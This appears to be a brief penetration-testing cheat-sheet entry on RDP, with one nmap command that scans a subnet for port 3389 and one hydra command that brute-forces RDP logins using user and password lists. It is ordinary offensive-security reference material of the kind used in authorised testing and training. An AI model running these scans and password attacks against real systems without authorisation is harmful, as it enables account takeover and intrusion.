Rdp

Nmap can be used to identify hosts running the RDP service

nmap -p 3389 10.10.5.0/24

Hydra can be used to attempt to brute force the RDP service on identified hosts

hydra -L users.txt -P pass.txt rdp://IPADDR